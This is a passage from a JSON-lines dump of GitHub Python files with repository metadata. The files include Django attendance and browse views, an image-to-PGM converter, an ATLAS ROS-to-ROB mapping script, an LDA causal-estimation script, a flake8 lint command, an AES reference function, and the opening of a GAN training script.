active_courses:\n course_assignments = course.courseassignment_set.all()\n lectures = course.lecture_set.values_list('date', flat=True)\n\n if lectures:\n for ca in course_assignments:\n user = ca.user\n all_user_checkins = CheckIn.objects.get_user_dates(user=user, course=course).filter(\n date__in=lectures)\n\n percentage_presence = int((len(all_user_checkins) / len(lectures)) * 100)\n ca.student_presence = percentage_presence\n ca.save()\n","repo_name":"rizplate/Loki","sub_path":"loki/education/management/commands/calculate_presence.py","file_name":"calculate_presence.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41600496443","text":"# -*- coding: utf-8 -*-\r\n# Python3\r\n\r\n# python standard libraries importation\r\nimport sys\r\nimport os\r\n\r\n# python third-party libraries importation (additional installation is required, if you do not have)\r\nimport numpy as np\r\nfrom PIL import Image\r\n\r\n\r\n\r\n\r\n# description : load a image from a image file (.png, .jpg, etc.) , convert it to monochrome, and return as a 2-D numpy array\r\ndef readImageAsMonochrome(file_name) :\r\n img_obj = Image.open(file_name)\r\n img_mono = img_obj.convert('L')\r\n img_obj.close()\r\n return np.asarray(img_mono)\r\n\r\n\r\n\r\n\r\n\r\nUSAGE_STRING = '''\r\n Usage :\r\n python %s \r\n or :\r\n python %s \r\n''' % (sys.argv[0], sys.argv[0])\r\n\r\n\r\n\r\nif __name__ == '__main__' : \r\n \r\n try :\r\n name1, name2 = sys.argv[1:3] # parse command line args\r\n assert name1 != name2\r\n except :\r\n print(USAGE_STRING)\r\n exit(-1)\r\n \r\n \r\n if not os.path.isdir(name1) : # user specific a single file\r\n try :\r\n img = readImageAsMonochrome(name1)\r\n except :\r\n print('could not open %s' % name1)\r\n exit (-1)\r\n \r\n _, ext_name = os.path.splitext(name2)\r\n if ext_name != '.pgm' :\r\n out_fname = name2 + '.pgm'\r\n else :\r\n out_fname = name2\r\n \r\n try :\r\n Image.fromarray(img).save(out_fname)\r\n except :\r\n print('failed to write %s' % out_fname)\r\n \r\n\r\n else : # user specific a dir\r\n if not os.path.exists(name2) :\r\n print('mkdir %s\\n' % name2)\r\n os.mkdir(name2)\r\n \r\n for fname in os.listdir(name1) :\r\n in_fname = name1 + os.path.sep + fname\r\n out_fname, _ = os.path.splitext(fname)\r\n out_fname = name2 + os.path.sep + out_fname + '.pgm'\r\n \r\n try :\r\n img = readImageAsMonochrome(in_fname)\r\n except :\r\n print('skip %s' % in_fname)\r\n continue\r\n\r\n try :\r\n Image.fromarray(img).save(out_fname)\r\n except :\r\n print('failed to write %s' % out_fname)\r\n\r\n\r\n","repo_name":"WangXuan95/HEVC-image-encoder-lite","sub_path":"ConvertToPGM.py","file_name":"ConvertToPGM.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"61"} +{"seq_id":"71096296193","text":"from __future__ import print_function\nimport eformat\nfrom pm.project import Project\nfrom argparse import ArgumentParser\nfrom types import MethodType\nfrom sys import stdout, stderr\nfrom datetime import datetime\n\n# get the arg parser\ndef argparser():\n parser = ArgumentParser(description='Produce a ros2rob map, as a python '\n 'dictionary, from a given partition.')\n parser.add_argument('--database_file', '-d', required=True, \n help='A partition filename (e.g. ATLAS.data.xml).')\n parser.add_argument('--partition', '-p', required=True,\n help='A partition filename. The name of the partition '\n 'that is read from pfile (e.g. ATLAS).')\n parser.add_argument('--output_file', '-o',\n help='The output filename. The name of the file to which '\n 'the ros2rob map is written. If omitted, stdout is '\n 'used (e.g. myros2rob.py).')\n make_parser_print_help_on_error(parser)\n return parser\n\ndef make_parser_print_help_on_error(parser):\n \"\"\"\n Alter an ArgumentParser so that it shows a help msg whenever there is an \n error in the command line\n \"\"\"\n def error(self, msg):\n print('error: %s\\n' % msg, file=stderr)\n self.print_help()\n exit(2)\n parser.error = MethodType(error, parser)\n\ndef get_roses(pfname, pname):\n \"\"\"\n Get all the ROSes and swRODs in the partition\n \"\"\"\n partition = Project(pfname).getObject('Partition', pname)\n roses = partition.get('ROS')\n swrods = partition.get('SwRodApplication')\n return roses + swrods\n\ndef get_ros2rob(roses):\n \"\"\"\n Get the ros2rob map from the ROS list\n \"\"\"\n ros2rob = {}\n for ros in roses:\n if ros.id in ros2rob:\n print(\"WARNING: %s is repeated in the partition: ignoring \"\n \"second occurrence\", file=stderr)\n else:\n ros2rob[ros.id] = get_robs(ros)\n ros2rob['RoIBuilder'] = get_roib_robs()\n return ros2rob\n\ndef get_robs(ros):\n \"\"\"\n Get the list of ROBs that correspond to a ROS\n \"\"\"\n return [eformat.helper.SourceIdentifier(rol.Id).code() \n for robin in ros.Contains for rol in robin.Contains]\n\ndef get_roib_robs():\n \"\"\"\n Get a hardcoded list of RoIBuilder ROB IDs which are not listed in the partition\n \"\"\"\n return [\n # CTP\n 0x770001,\n # L1Calo\n 0x7300a8, 0x7300a9, 0x7300aa, 0x7300ab, 0x7500ac, 0x7500ad,\n # L1Topo\n 0x910081, 0x910091, 0x910082, 0x910092]\n\ndef print_ros2rob(ros2rob, out):\n \"\"\"\n Print the ros2rob map as an easily readable/editable python dictionary\n \"\"\"\n print(\"ros2rob = {\", file=out)\n count = 0\n for k, v in ros2rob.items():\n count += 1\n print(\"\\t'%s': \\n\\t[\" % k, file=out)\n for i in range(len(v)):\n print(\"\\t\\t%s\" % hex(v[i]), end=' ', file=out) \n if i+1 != len(v):\n print(\",\", file=out)\n else:\n print(\"\\n\\t]\", end=' ', file=out)\n if count != len(ros2rob):\n print(\",\", file=out)\n print(\"\\n}\", file=out)\n\ndef print_header(dbfile, outname, out):\n header = f\"\"\"\n#\n# Copyright (C) 2002-{datetime.now().year} CERN for the benefit of the ATLAS collaboration\n#\n'''\n@file {outname}\n@brief Store ROS to ROB map extracted from {dbfile}\n'''\n\"\"\"\n print(header, file=out)\n\ndef print_footer(out):\n footer = \"\"\"\nclass ROSToROBMap:\n\\tdef __init__(self):\n\\t\\tself.data = ros2rob\n\n\\tdef get_mapping(self):\n\\t\\treturn self.data\n\"\"\"\n print(footer, file=out)\n\n# main\nif __name__ == '__main__':\n args = argparser().parse_args()\n out = open(args.output_file, 'w') if args.output_file else stdout\n print(\"# Extracting ROS2ROB map\", file=stderr)\n print_header(args.database_file, args.output_file, out)\n print_ros2rob(get_ros2rob(get_roses(args.database_file, args.partition)), out)\n print_footer(out)\n\n","repo_name":"Yusuf-Manjra/athena","sub_path":"HLT/Trigger/TrigControl/TrigCommon/bin/ros2rob_from_partition.py","file_name":"ros2rob_from_partition.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2533863233","text":"from __future__ import unicode_literals\n\nfrom collections import defaultdict\nfrom logging import getLogger\n\nimport feedparser\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Count, CharField, Value as V\nfrom django.db.models import ObjectDoesNotExist\nfrom django.db.models import Q\nfrom django.db.models.functions import Concat\nfrom django.http import Http404, HttpResponseForbidden, HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, render\nfrom django.utils.text import slugify\nfrom django.views.generic import DetailView, ListView, TemplateView\nfrom ratelimit.mixins import RatelimitMixin\nfrom tagulous.views import autocomplete\n\nfrom hub.apps.content.types.green_power_projects import GreenPowerProject\nfrom ..content.models import CONTENT_TYPES, ContentType\nfrom ..metadata.models import SustainabilityTopic, SustainabilityTopicFavorite, GreenPowerInstallation\nfrom ...permissions import get_aashe_member_flag\n\nlogger = getLogger(__name__)\n\n\nclass HomeView(TemplateView):\n \"\"\"\n The Home view.\n\n @permisson: HomeView is visible for everybody\n \"\"\"\n template_name = 'browse/home.html'\n\n def get_context_data(self, **kwargs):\n ctx = super(HomeView, self).get_context_data(**kwargs)\n ctx.update({\n 'topic_list': SustainabilityTopic.objects.all(),\n 'content_type_list': CONTENT_TYPES,\n })\n return ctx\n\n\nclass BrowseView(RatelimitMixin, ListView):\n \"\"\"\n A very generic browse view to handle all sorts of views at once. Generally\n we have two views:\n\n - browse view, handling the result set for keyword and content type\n searches\n\n - topic view, if a topic is set, we render a custom template located\n in `browse/topic/.html`.\n\n @permission: BrowseView generally requires Login, except:\n\n - The AcademicProgram content type view is open\n - The Toolkit tab is open, all others not visible\n \"\"\"\n template_name = 'browse/browse.html'\n content_type_class = None\n sustainabilty_topic = None\n paginate_by = 50\n filterset_form = None\n\n # Rate-limiting\n ratelimit_key = 'ip'\n ratelimit_rate = settings.BROWSE_RATE_LIMIT\n ratelimit_block = True\n ratelimit_method = 'GET'\n\n def dispatch(self, *args, **kwargs):\n \"\"\"\n Persmission handling and load some generic objects into the class so we\n have it globally available.\n \"\"\"\n # Load the specified SustainabilityTopic\n if self.kwargs.get('topic'):\n self.sustainabilty_topic = get_object_or_404(\n SustainabilityTopic, slug=self.kwargs['topic'])\n\n # Load the specified Content Type object. Make Content Type a nice\n # little object so it works similar to SustainabilityTopic\n if self.kwargs.get('ct'):\n if self.kwargs.get('ct') not in CONTENT_TYPES:\n raise Http404('This Content type does not exist')\n self.content_type_class = CONTENT_TYPES[self.kwargs['ct']]\n self.content_type_class.slug = self.kwargs.get('ct')\n\n # If no content type and no topic is set, we need at least a\n # search keyword or organization:\n if (\n not self.sustainabilty_topic and\n not self.content_type_class and\n 'search' not in self.request.GET and\n 'organizations' not in self.request.GET and\n 'tagfilter' not in self.request.GET\n ):\n return HttpResponseRedirect(reverse('home'))\n\n return super(BrowseView, self).dispatch(*args, **kwargs)\n\n def get_template_names(self):\n \"\"\"\n If a specific 'topic' is set in the url name, we'll render a template\n for this. In all other cases we have a generic browse result template.\n \"\"\"\n if self.sustainabilty_topic:\n return ('browse/results/topic.html',)\n\n if self.content_type_class:\n return ('browse/results/content_type.html',)\n\n return ('browse/results/search.html',)\n\n def get_filterset(self):\n \"\"\"\n Builds and returns a filter form object. Content Type classes might\n have their own, custom FilterSet defined in\n `model.get_custom_filterset`.\n \"\"\"\n # GenericFilterSet imported here to avoid early execution of __init__\n # methods on filters @todo - keep an eye on performance\n from .filterset import GenericFilterSet\n if (\n self.content_type_class and\n hasattr(self.content_type_class, 'get_custom_filterset')\n ):\n return self.content_type_class.get_custom_filterset()\n else:\n return GenericFilterSet\n\n def get_filterset_data(self):\n \"\"\"\n Whether we're in a content type or topic view, we want to have the list\n of content types already filtered by these.\n \"\"\"\n data = self.request.GET.copy()\n if self.sustainabilty_topic:\n data['topics'] = self.sustainabilty_topic.slug\n if self.content_type_class:\n data['content_type'] = self.content_type_class.slug\n return data\n\n def get_title(self):\n \"\"\"\n Returns the actual title of the current object, either topic,\n content type or search.\n \"\"\"\n if self.sustainabilty_topic:\n return self.sustainabilty_topic.name\n if self.content_type_class:\n return self.content_type_class._meta.verbose_name_plural\n if self.request.GET.get('search'):\n return 'Search for \"{}\"'.format(self.request.GET['search'])\n return 'Search Results'\n\n def get_queryset(self):\n \"\"\"\n Normally a filterset would be a FilterSet object, where its iterator\n runs over the integrated queryset, so it pretty much acts like a\n regular queryset. The downside is that we can't run pagination/sorting\n on this filterset, like we'd do on a regular filterset. Therefor we\n transform it back, and only return the actual queryset, while we put\n the attached filter-form aside and load it separately into context.\n \"\"\"\n filterset = self.get_filterset()(\n self.get_filterset_data(),\n queryset=ContentType.objects.published())\n # Load form into class, bring it back below in context.\n self.filterset_form = filterset.form\n return filterset.qs.distinct()\n\n # @idea - in gallery view, should we return an image queryset to ensure\n # that pagination works and the # of results is correct?\n # for performance we'd likely need a select_ralated on the resource too\n\n def get_cache_key(self):\n \"\"\"\n Generates a cache key based on:\n - url\n - anon/auth/member user status\n - get params\n\n Note: memcached limits keys to 250 characters\n \"\"\"\n\n key = self.request.path\n\n if self.request.user.is_authenticated():\n if hasattr(self.request.user, 'membersuiteportaluser'):\n key = \"%s[mem-%s]\" % (\n key, self.request.user.membersuiteportaluser.is_member)\n else:\n # usually just during testing\n key = \"%s[mem-False]\" % key\n else:\n key = \"%s[anon]\" % key\n\n key = \"%s?\" % key\n\n # sort the keys alphabetically for consistency\n keys_list = self.request.GET.keys()\n for k in keys_list:\n v = self.request.GET.getlist(k)\n if v and v != [u'']:\n v.sort()\n key = \"%s&%s=%s\" % (key, k, \"/\".join(v))\n\n if len(key) >= 250:\n # memcache limit of 250 characters - hash the long ones\n import hashlib\n hashed_key = hashlib.sha224(key).hexdigest()\n return hashed_key\n return key\n\n def get_context_data(self, **kwargs):\n ctx = super(BrowseView, self).get_context_data(**kwargs)\n topic_name = self.sustainabilty_topic.__str__()\n gallery_view = ('gallery' == self.request.GET.get('gallery_view'))\n ctx.update({\n 'object_list_form': self.filterset_form,\n 'topic': self.sustainabilty_topic,\n 'topic_name': topic_name,\n 'topic_slug': slugify(topic_name),\n 'topic_list': SustainabilityTopic.objects.all(),\n 'content_type': self.content_type_class,\n 'content_type_list': CONTENT_TYPES,\n 'page_title': self.get_title(),\n 'content_type_slug': self.kwargs.get('ct'),\n 'cache_key': self.get_cache_key(),\n 'gallery_view': gallery_view,\n })\n\n # Additional toolkit content for topic views\n if self.sustainabilty_topic:\n # return a an ordered list of SustainabilityTopicFavorite, by order\n # must be additionaly coerced to a list for use later\n featured_ids = list(SustainabilityTopicFavorite.objects.filter(\n topic=self.sustainabilty_topic).order_by(\n 'order').values_list('ct', flat=True))\n featured_content_types = ContentType.objects.published().filter(\n id__in=featured_ids)\n # sort ContentType objects by order of list from featured_ids\n featured_content_types = sorted(\n featured_content_types, key=lambda i: featured_ids.index(i.pk))\n\n new_resources = ContentType.objects.published().filter(\n topics=self.sustainabilty_topic).order_by('-published')\n\n news_list = self.sustainabilty_topic.get_rss_items()\n\n ctx.update({\n 'featured_list': featured_content_types,\n 'news_list': news_list,\n 'new_resources_list': new_resources,\n })\n\n # Additional Partners Tab content for topic views\n try:\n rss_topic_feed = feedparser.parse(\n self.sustainabilty_topic.scpd_rss_feed)\n if 'entries' in rss_topic_feed:\n ctx.update({\n 'feed': rss_topic_feed,\n })\n except Exception as e: # Any error is bad here, catch all.\n logger.error('Feed parse failed; {}'.format(feed_address))\n logger.exception(e)\n\n # Additional Summary content for content type views\n if self.content_type_class:\n # Query all resources in this content type\n # and sort by date of publication\n new_resources = ContentType.objects.published()\\\n .filter(content_type=self.content_type_class.slug)\\\n .order_by('-published')\n\n # Count unique organizations in this data set\n orgs = new_resources\\\n .values('organizations__account_num')\\\n .distinct()\n\n # Count unique countries appearing within these organizations\n country_counts = new_resources\\\n .values('organizations__country')\\\n .annotate(count=Count('organizations__account_num'))\\\n .order_by()\n\n # Count unique states appearing within these organizations that\n # have country=USA\n state_counts = new_resources\\\n .filter(organizations__country_iso='US')\\\n .values('organizations__state')\\\n .annotate(count=Count('organizations__account_num')).order_by()\n\n # Count unique states appearing within these organizations\n # that have country=Canada\n province_counts = new_resources\\\n .filter(organizations__country_iso='CA')\\\n .values('organizations__state')\\\n .annotate(count=Count('organizations__account_num')).order_by()\n\n # Construct lists of which types get which graphs\n topic_graph_allowed = [\n 'Case Studies',\n 'Conference Presentations',\n 'Outreach Materials',\n 'Photographs',\n 'Publications',\n 'Tools',\n 'Videos & Webinars',\n ]\n discipline_graph_allowed = [\n 'Academic Programs',\n 'Case Studies',\n 'Course Materials',\n 'Publications',\n 'Research Centers & Institutes',\n ]\n installation_type_graph_allowed = [\n 'Green Power Projects'\n ]\n funding_source_graph_allowed = [\n 'Green Funds',\n ]\n\n label = self.content_type_class.content_type_label()\n\n # Count unique topics associated with these pieces of content\n # output a dict of pairs of names and counts\n topic_counts = None\n if label in topic_graph_allowed:\n topic_counts = [\n {\n 'name'.encode(\"utf8\"): t['topics__name'].encode(\"utf8\"),\n 'count'.encode(\"utf8\"): t['count'],\n 'link'.encode(\"utf8\"): t['link'].encode(\"utf8\")\n }\n for t in\n new_resources.values('topics__name')\n .exclude(Q(topics__name=None))\n .annotate(count=Count('id')).order_by('-count')\n .annotate(\n link=Concat(\n V(\"/browse/types/\"),\n V(self.content_type_class.slug),\n V(\"/?search=&content_type=\"),\n V(self.content_type_class.slug),\n V(\"&topics=\"),\n 'topics__slug',\n V(\"&country=#resources-panel\"),\n output_field=CharField()\n )\n )\n ]\n\n # Count unique academic disciplines associated with these pieces\n # of content and output a dict of pairs of names and counts\n discipline_counts = None\n if label in discipline_graph_allowed:\n discipline_counts = [\n {\n 'name'.encode(\"utf8\"): t['disciplines__name']\n .encode(\"utf8\"),\n 'count'.encode(\"utf8\"): t['count'],\n 'link'.encode(\"utf8\"): t['link'].encode(\"utf8\")\n }\n for t in\n new_resources.values('disciplines__name')\n .exclude(Q(disciplines__name=None))\n .annotate(count=Count('id')).order_by('-count')\n .annotate(\n link=Concat(\n V(\"/browse/types/\"),\n V(self.content_type_class.slug),\n V(\"/?search=&content_type=\"),\n V(self.content_type_class.slug),\n V(\"&discipline=\"),\n 'disciplines__pk',\n V(\"&country=#resources-panel\"),\n output_field=CharField()\n )\n )\n ]\n\n installation_counts = None\n if label in installation_type_graph_allowed:\n installation_counts = [\n {\n 'name'.encode(\"utf8\"): t['greenpowerproject__installations__name']\n .encode(\"utf8\"),\n 'count'.encode(\"utf8\"): t['count'],\n 'link'.encode(\"utf8\"): t['link'].encode(\"utf8\")\n }\n for t in\n new_resources.values(\n 'greenpowerproject__installations__name')\n .exclude(Q(greenpowerproject__installations__name=None))\n .annotate(count=Count('id')).order_by('-count')\n .annotate(\n link=Concat(\n V(\"/browse/types/\"),\n V(self.content_type_class.slug),\n V(\"/?search=&content_type=\"),\n V(self.content_type_class.slug),\n V(\"&installation=\"),\n 'greenpowerproject__installations__pk',\n V(\"&country=#resources-panel\"),\n output_field=CharField()\n )\n )\n ]\n\n funding_source_counts = None\n if label in funding_source_graph_allowed:\n funding_source_counts = [\n {\n 'name'.encode(\"utf8\"): t['greenfund__funding_sources__name']\n .encode(\"utf8\"),\n 'count'.encode(\"utf8\"): t['count'],\n 'link'.encode(\"utf8\"): t['link'].encode(\"utf8\")\n }\n for t in\n new_resources.values('greenfund__funding_sources__name')\n .annotate(count=Count('id')).order_by('-count')\n .annotate(\n link=Concat(\n V(\"/browse/types/\"),\n V(self.content_type_class.slug),\n V(\"/?search=&gallery_view=list&content_type=\"),\n V(self.content_type_class.slug),\n V(\"&country=\"),\n V(\"&funding_source=\"),\n 'greenfund__funding_sources__pk',\n V('#resources-panel'),\n output_field=CharField()\n )\n )\n ]\n\n # http://127.0.0.1:8000/browse/types/greenfund/?search=&gallery_view=list&content_type=greenfund&country=&funding_source=3#resources-panel\n # http://127.0.0.1:8000/browse/types/greenfund/?search=&gallery_view=list&content_type=greenfund&country=&funding_source=3#resources-panel\n\n # Get data for the map\n map_data = [\n [t[0].encode(\"utf8\"), float(t[1]), float(t[2]), t[3],\n t[4], t[5].encode(\"utf8\")]\n for t in\n new_resources.exclude(Q(organizations__org_name=None))\n .exclude(Q(organizations__latitude=''))\n .exclude(Q(organizations__latitude=None))\n .values_list('organizations__org_name',\n 'organizations__latitude',\n 'organizations__longitude',\n 'organizations__account_num',\n )\n .annotate(\n count=Count('organizations__account_num')\n ).annotate(\n link=Concat(\n V(\"/browse/types/\"),\n V(self.content_type_class.slug),\n V(\"/?search=&content_type=\"),\n V(self.content_type_class.slug),\n V(\"&organizations=\"),\n str('organizations__account_num'),\n V(\"&country=#resources-panel\"),\n output_field=CharField()\n )\n ).order_by()\n ]\n\n singular = self.content_type_class._meta.verbose_name\n\n # Add all of this to the context data\n ctx.update({\n 'new_resources_list': new_resources,\n 'orgs': orgs,\n 'country_counts': country_counts,\n 'state_counts': state_counts,\n 'province_counts': province_counts,\n 'topic_counts': topic_counts,\n 'discipline_counts': discipline_counts,\n 'installation_counts': installation_counts,\n 'funding_source_counts': funding_source_counts,\n 'map_data': map_data,\n 'GOOGLE_API_KEY': settings.GOOGLE_API_KEY,\n 'content_type_singular': singular\n })\n return ctx\n\n\nclass ResourceView(DetailView):\n \"\"\"\n Actual Detail view of ContentType objects.\n\n @permisson:\n\n - Login Required\n - Each ContentType has a `member_only` attribut we will check too.\n Some objects might only need Login.\n \"\"\"\n\n def dispatch(self, *args, **kwargs):\n \"\"\"\n Check if this object is `Member Only`. If so, only AASHE members and\n Auth superusers are able to see it.\n\n Other than that, at least a login is required, which is provided by\n the `LoginRequiredMixin`.\n \"\"\"\n obj = self.get_object()\n\n # Check if this object is open to anybody\n if obj.permission == ContentType.PERMISSION_CHOICES.open:\n return super(ResourceView, self).dispatch(*args, **kwargs)\n\n # The user needs to be at least logged in from here\n if not self.request.user.is_authenticated():\n return render(\n self.request,\n 'registration/login_required.html',\n status=HttpResponseForbidden.status_code)\n\n # If the object only needs login, we're fine and can display it:\n if obj.permission == ContentType.PERMISSION_CHOICES.login:\n return super(ResourceView, self).dispatch(*args, **kwargs)\n\n # User is either member, or superuser, so its' fine to view\n if get_aashe_member_flag(self.request.user):\n return super(ResourceView, self).dispatch(*args, **kwargs)\n\n # Otherwise, and finally, we deny.\n return render(\n self.request,\n 'registration/member_required.html',\n status=HttpResponseForbidden.status_code)\n\n def get_template_names(self):\n return (\n 'browse/details/{}.html'.format(self.kwargs['ct']),\n 'browse/details/base.html'\n )\n\n def get_object(self, queryset=None):\n if not self.kwargs['ct'] in CONTENT_TYPES:\n raise Http404('Resource model does not exist')\n try:\n ct_model = CONTENT_TYPES[self.kwargs['ct']]\n obj = ct_model.objects.get(\n status=ContentType.STATUS_CHOICES.published,\n pk=self.kwargs['id']\n )\n except ObjectDoesNotExist:\n raise Http404('Resource not found')\n return obj\n\n def get_context_data(self, **kwargs):\n ctx = super(ResourceView, self).get_context_data(**kwargs)\n ctx.update({\n 'label_overrides': self.object.label_overrides(),\n })\n return ctx\n\n\ndef autocomplete_tags(request):\n \"\"\"\n The tags autocomplete view\n \"\"\"\n return autocomplete(\n request,\n ContentType.tags.tag_model.objects.all().distinct()\n )\n","repo_name":"jamstooks/hub","sub_path":"hub/apps/browse/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":23098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16928938175","text":"from semi_parametric_estimation.att import att_estimates\nfrom reddit.data_cleaning.reddit_posts import load_reddit_processed\nfrom .helpers import filter_document_embeddings, make_index_mapping, assign_split\nimport numpy as np\nimport pandas as pd\nimport os\nfrom sklearn.linear_model import LogisticRegression, LinearRegression\nfrom sklearn.metrics import mean_squared_error as mse\nimport argparse\nimport sys\nfrom scipy.special import logit\n\ndef get_log_outcomes(outcomes):\n\t#relu\n\toutcomes = np.array([max(0.0, out) + 1.0 for out in outcomes])\n\treturn np.log(outcomes)\n\ndef predict_expected_outcomes(model, doc_embeddings):\n\tfeatures = logit(doc_embeddings)\n\treturn model.predict(features)\n\ndef fit_conditional_expected_outcomes(outcomes, doc_embeddings):\n\tmodel = LinearRegression()\n\tfeatures = logit(doc_embeddings)\n\tmodel.fit(features, outcomes)\n\tpredict = model.predict(features)\n\tif verbose:\n\t\tprint(\"Training MSE:\", mse(outcomes, predict))\n\treturn model\n\ndef predict_treatment_probability(labels, doc_embeddings):\n\tmodel = LogisticRegression(solver='liblinear')\n\tfeatures = logit(doc_embeddings)\n\tmodel.fit(features, labels)\n\tif verbose:\n\t\tprint(\"Training accuracy:\", model.score(features, labels))\n\ttreatment_probability = model.predict_proba(features)[:,1]\n\treturn treatment_probability\n\ndef load_simulated_data():\n\tsim_df = pd.read_csv(simulation_file, delimiter='\\t')\n\tsim_df = sim_df.rename(columns={'index':'post_index'})\n\treturn sim_df\n\ndef load_document_proportions(path='../dat/reddit/'):\n\treturn np.load(path + 'document_proportions.npy')\n\ndef main():\n\treddit = load_reddit_processed()\n\tif subs:\n\t\treddit = reddit[reddit.subreddit.isin(subs)]\n\n\tindex_mapping = make_index_mapping(reddit, on='orig_index')\n\tif not dat_dir:\n\t\tdoc_embeddings = load_document_proportions()\n\telse:\n\t\tdoc_embeddings = load_document_proportions(path=dat_dir)\n\n\tsim_df = load_simulated_data()\n\tnum_reps = 10\n\tmean_estimates = {}\n\n\tfor rep in range(num_reps):\n\t\tbootstrap_sim_df = assign_split(sim_df, num_splits=2)\n\t\tbootstrap_sim_df = bootstrap_sim_df[bootstrap_sim_df.split==0]\n\t\ttreatment_labels = bootstrap_sim_df.treatment.values\n\t\tfiltered_doc_embeddings = filter_document_embeddings(bootstrap_sim_df, doc_embeddings, index_mapping)\n\t\ttreatment_probability = predict_treatment_probability(treatment_labels, filtered_doc_embeddings)\n\n\t\ttreated_sim = bootstrap_sim_df[bootstrap_sim_df.treatment==1]\n\t\tuntreated_sim = bootstrap_sim_df[bootstrap_sim_df.treatment==0]\n\t\t\n\t\tall_outcomes = bootstrap_sim_df.outcome.values\n\t\toutcomes_st_treated = treated_sim.outcome.values\n\t\toutcomes_st_not_treated = untreated_sim.outcome.values\n\t\t\n\t\tdoc_embed_st_treated = filter_document_embeddings(treated_sim, doc_embeddings, index_mapping)\n\t\tdoc_embed_st_not_treated = filter_document_embeddings(untreated_sim, doc_embeddings, index_mapping)\n\n\t\tmodel_outcome_st_treated = fit_conditional_expected_outcomes(outcomes_st_treated, doc_embed_st_treated)\n\t\tmodel_outcome_st_not_treated = fit_conditional_expected_outcomes(outcomes_st_not_treated, doc_embed_st_not_treated)\n\n\t\texpected_outcome_st_treated = predict_expected_outcomes(model_outcome_st_treated, filtered_doc_embeddings)\n\t\texpected_outcome_st_not_treated = predict_expected_outcomes(model_outcome_st_not_treated, filtered_doc_embeddings)\n\n\t\testimates = att_estimates(expected_outcome_st_not_treated, expected_outcome_st_treated, \n\t\t\ttreatment_probability, treatment_labels, all_outcomes, truncate_level=0.03, prob_t=treatment_labels.mean())\n\n\t\tfor est, ate in estimates.items():\n\t\t\tif est in mean_estimates:\n\t\t\t\tmean_estimates[est].append(ate)\n\t\t\telse:\n\t\t\t\tmean_estimates[est] = [ate]\n\tif verbose:\n\t\tfor est, ates in mean_estimates.items():\n\t\t\tprint(est, np.mean(ates), np.std(ates))\n\telse:\n\t\tconfig = ';'.join([str(mode)] + params)\n\t\tlog_file = os.path.join(sim_dir, 'two-stage-lda-estimates.out')\n\t\twith open(log_file, 'a') as h:\n\t\t\th.write(config + '\\n')\n\t\t\tfor est, ates in mean_estimates.items():\n\t\t\t\th.write(est + ',' + str(np.mean(ates)) + ',' + str(np.std(ates)) + '\\n')\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"--dat-dir\", action=\"store\", default=None)\n\tparser.add_argument(\"--sim-dir\", action=\"store\", default='../dat/sim/reddit_subreddit_based/')\n\tparser.add_argument(\"--subs\", action=\"store\", default='13,6,8')\n\tparser.add_argument(\"--mode\", action=\"store\", default=\"simple\")\n\tparser.add_argument(\"--params\", action=\"store\", default=\"1.0,1.0,1.0\")\n\tparser.add_argument(\"--verbose\", action='store_true')\n\targs = parser.parse_args()\n\n\tsim_dir = args.sim_dir\n\tdat_dir = args.dat_dir\n\tsubs = None\n\tif args.subs != '':\n\t\tsubs = [int(s) for s in args.subs.split(',')]\n\tverbose = args.verbose\n\tparams = args.params.split(',')\n\tsim_setting = 'beta0' + params[0] + '.beta1' + params[1] + '.gamma' + params[2]\n\tsubs_string = ', '.join(args.subs.split(','))\n\tmode = args.mode\n\tsimulation_file = sim_dir + 'subreddits['+ subs_string + ']/mode' + mode + '/' + sim_setting + \".tsv\"\n\n\tmain()","repo_name":"blei-lab/causal-text-embeddings","sub_path":"src/lda_baseline/reddit_output_att.py","file_name":"reddit_output_att.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","stars":117,"dataset":"github-code","pt":"61"} +{"seq_id":"3607708544","text":"from django.core.management.base import BaseCommand\nimport os\nimport sys\n\n\nclass Command(BaseCommand):\n help = 'Checks for PEP8 compliance using flake8'\n\n def handle(self, *args, **kwargs):\n exit_status_code = os.system('PY_ENV=test PIPENV_DONT_LOAD_ENV=1 '\n 'pipenv run flake8 . --exclude test.py,'\n 'dev.py,manage.py,__pycache__,__init__.py,'\n 'migrations --max-line-length=100')\n\n if os.WEXITSTATUS(exit_status_code) != 0:\n sys.exit(1)\n","repo_name":"Velle-log/hs-api","sub_path":"commands/management/commands/lint.py","file_name":"lint.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72017481154","text":"#-*- coding:utf-8 -*-\n\nfrom pyaes import *\n\ndef encrypt(plain, key, nr=10):\n ks = ks_expand(map(ord, key))\n s = transpose(map(ord, plain))\n for r in xrange(nr):\n s = AddRoundKey(s, ks[r])\n s = SubBytes(s)\n s = ShiftRows(s)\n if r < nr - 1:\n s = MixColumns(s)\n s = AddRoundKey(s, ks[nr])\n return \"\".join(map(chr, transpose(s)))\n","repo_name":"cryptolu/whitebox","sub_path":"synthesis/whitebox/ciphers/AES/ref.py","file_name":"ref.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"61"} +{"seq_id":"28388983842","text":"# the code is highly based on the improved gans.\nimport sys\nimport argparse\nimport numpy as np\nimport theano as th\nimport theano.tensor as T\nimport lasagne\nimport lasagne.layers as LL\nimport time\nimport nn\nfrom theano.sandbox.rng_mrg import MRG_RandomStreams\n\n# settings\nfactor_M = 0.0\nLAMBDA_2 = 0.5\nprediction_decay = 0.5 \nparser = argparse.ArgumentParser()\nparser.add_argument('--seed', type=int, default=2)\nparser.add_argument('--seed_data', type=int, default=2)\nparser.add_argument('--unlabeled_weight', type=float, default=1.0)\nparser.add_argument('--batch_size', type=int, default=100)\nparser.add_argument('--count', type=int, 